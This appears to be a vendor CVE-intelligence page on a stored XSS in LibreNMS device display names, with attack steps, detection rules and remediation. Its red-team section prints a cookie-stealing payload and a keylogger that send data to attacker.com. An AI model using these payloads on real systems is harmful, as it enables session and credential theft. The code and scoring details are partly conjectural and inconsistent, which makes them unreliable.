☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Librenms logo [ WEBSITE ] [ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-53457

CVE-2024-53457 Cross-Site Scripting in Librenms
📅 PUBLISHED: 2024-12-05 00:00 UTC 🔄 UPDATED: 2026-09-24 05:59 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 43.69%
👁️
43.69% probability
1000×+ above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-53457 is a stored cross-site scripting (XSS) vulnerability affecting LibreNMS versions 24.9.0 through 24.10.0. The flaw resides in the Device Settings section, specifically within the Display Name parameter. An authenticated attacker with device management privileges can inject arbitrary web scripts or HTML, which are then stored and executed in the browsers of other users viewing the affected device settings. This can lead to session hijacking, credential theft, or further compromise of the monitoring infrastructure. The vulnerability has a low CVSS score due to the requirement for authentication and user interaction, but the potential impact within a network monitoring context is significant.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

LibreNMS is a PHP-based application distributed via GitHub and Composer. The vulnerability is introduced through insufficient input sanitization in the application code, not through a compromised dependency. However, administrators should verify the integrity of their LibreNMS installation by checking file hashes against the official repository. No malicious packages have been identified in the supply chain for the affected versions.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 4.8 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – requires authenticated user with device management rights
  • User Interaction: Required (UI:R) – victim must view the malicious device settings page
  • Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
  • Confidentiality Impact: Low (C:L) – limited data exposure
  • Integrity Impact: Low (I:L) – limited modification of data
  • Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the critical role of network monitoring tools elevate the risk in enterprise environments.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the Device Settings form. The Display Name field is not properly sanitized before being stored in the database and later rendered in the web interface. An attacker can inject a payload such as:

<script>alert('XSS')</script>

When an administrator or other user navigates to the device settings page, the script executes in their browser context. The attack flow is:

  1. Authentication: Attacker logs in with valid credentials and has permission to edit device settings.
  2. Injection: Attacker modifies the Display Name of a device to include malicious JavaScript.
  3. Storage: The payload is stored in the database without sanitization.
  4. Trigger: A victim (e.g., another admin) views the device settings page, causing the payload to execute.
  5. Impact: The attacker can steal cookies, perform actions on behalf of the victim, or redirect to phishing pages.

The vulnerability is present in the app/Http/Controllers/DeviceController.php file where the display field is processed.

Vulnerable vs. Patched Code

Vulnerable Code (v24.9.0 - v24.10.0):

// In DeviceController.php
$device->display = $request->input('display');
$device->save();

The input is directly assigned without any sanitization.

Patched Code (Expected Fix):

// In DeviceController.php
$device->display = strip_tags($request->input('display'));
$device->save();

Or using a more robust approach with HTML Purifier:

$device->display = clean($request->input('display'), 'strip_tags');
$device->save();

The patch should also include output encoding when rendering the field in Blade templates:

{{ strip_tags($device->display) }}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running instance of LibreNMS v24.9.0 or v24.10.0
  • Valid credentials with device management privileges
  • Access to the web interface

Exploitation Steps:

  1. Log in to LibreNMS as a user with device management rights.
  2. Navigate to Devices > Edit for an existing device.
  3. In the Display Name field, inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
  1. Save the device settings.
  2. Wait for an administrator to view the device settings page. The script will execute, sending the victim's cookies to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Note: No public exploit-db code is available for this CVE.

Blue Team

Detection Steps:

  1. Monitor web application logs for unusual characters in the display parameter:
    • Look for <script>, <img>, <svg>, or other HTML tags in POST requests to /devices/*/edit.
  2. Review database entries in the devices table for the display column containing HTML or JavaScript.
  3. Use the detection rules provided in the Detection Engineering section.

Mitigation in Lab:

  • Apply input sanitization as shown in the patched code section.
  • Implement Content Security Policy (CSP) headers to block inline scripts.
  • Restrict device management privileges to trusted users only.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains from the LibreNMS server.
    • POST requests to /devices/*/edit containing <script> tags in the display parameter.
  • Host IOCs:
    • Database entries in devices.display containing HTML or JavaScript.
    • Unusual entries in web server access logs (e.g., %3Cscript%3E URL-encoded payloads).
  • File IOCs:
    • Modified DeviceController.php if an attacker has gained shell access.

Detection Engineering

YARA Rule

rule CVE_2024_53457_LibreNMS_XSS {
    meta:
        description = "Detects stored XSS payloads in LibreNMS device display names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53457"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $xss_img = /<img[^>]*onerror\s*=/is
        $xss_svg = /<svg[^>]*onload\s*=/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in LibreNMS Device Display Name
id: 8f9a2b3c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects attempts to exploit CVE-2024-53457 by injecting XSS payloads into the Display Name field.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/devices/'
        cs-uri-query|contains: '/edit'
        cs-uri-query|contains|all:
            - 'display='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in display names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53457 LibreNMS Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/devices/"; http_uri; content:"/edit"; http_uri; content:"display="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade LibreNMS to the latest version (v24.11.0 or later) once a patch is released.
  2. Apply Input Sanitization: Manually patch DeviceController.php to use strip_tags() or HTML Purifier on the display input.
  3. Restrict Privileges: Limit device management permissions to only essential users.
  4. Enable CSP: Add the following HTTP header to block inline scripts:
    Content-Security-Policy: default-src 'self'; script-src 'self'
    

Long-Term Measures:

  • Implement a Web Application Firewall (WAF) to filter XSS payloads.
  • Conduct regular security audits of LibreNMS code and dependencies.
  • Monitor for new advisories from the LibreNMS project.

Workaround: If patching is not immediately possible, disable the Display Name field in the UI by modifying the Blade template to output only sanitized text.


Valters IT
Securing Networks, One CVE at a Time.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-53457/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.